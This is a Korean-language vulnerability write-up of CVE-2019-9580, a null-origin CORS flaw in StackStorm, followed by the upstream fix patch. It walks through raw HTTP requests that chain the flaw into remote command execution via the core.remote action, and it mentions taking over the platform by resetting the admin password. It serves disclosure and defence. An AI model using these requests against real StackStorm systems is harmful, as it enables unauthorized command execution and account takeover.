
CVE-2019-9580 - StackStorm: CORS 잘못된 설정(null origin)을 악용하여 RCE 획득
2.10.3/2.9.3 이전에는 요청의 origin을 알 수 없는 경우 null을 반환했습니다. null은 일부 클라이언트에서 알 수 없는 origin으로부터의 요청이 성공하도록 만들 수 있습니다. 이로 인해 StackStorm API에 대한 XSS 스타일 공격이 가능해집니다.
발견자: Barak Tawily 및 Anna Tsibulskaya
(Firefox 사용자는 피해자, Chrome 사용자는 공격자)
Origin: null이라는 null Origin 헤더로 StackStorm API에 요청을 보내면, 서버는 Access-Control-Allow-Origin을 null로 응답합니다.
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
서버 응답:
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID
null CORS 악용은 portswigger의 블로그 게시물에 문서화되어 있으며, 다음과 같은 페이로드를 찾을 수 있습니다:
StackStorm은 actions를 구성할 수 있게 해주며, core.remote와 같은 일부 action은 선택한 호스트에서 임의의 명령을 실행합니다.

따라서 호스트를 127.0.0.1로 설정하면 StackStorm 도커에서 명령을 실행하게 됩니다. 좋습니다. action을 등록하기 위해 간단한 POST 요청만 보내면 되므로 RCE도 문제없이 동작할 것입니다.
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131
{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}
StackStorm 호스트에서 명령을 실행할 수 있습니다. 하지만 StackStorm 플랫폼에 대한 완전한 제어권을 획득해 봅시다. 이는 관리자의 비밀번호를 재설정하여 수행할 수 있습니다. 문서를 사용하면:
비밀번호를 변경해야 하나요? 실행: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html
좋습니다. 이제 모든 것을 종합해 봅시다:
Origin: null 헤더로 요청을 보내면 CORS가 null이므로 새 action을 등록하는 POST 요청이 작동합니다 (또한 credentials: "include" 매개변수도 설정합니다).
보안 권고:
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return
Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
st2common/st2common/middleware/cors.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
'origin': 'http://xss'
})
self.assertEqual(response.status_int, 200)
- self.assertEqual(response.headers['Access-Control-Allow-Origin'],
- 'null')
+ self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+ 'http://127.0.0.1:3000')
def test_wildcard_origin(self):
try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
origin_allowed = origin
else:
# See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
- origin_allowed = origin if origin in origins else 'null'
+ origin_allowed = origin if origin in origins else list(origins)[0]
else:
origin_allowed = list(origins)[0]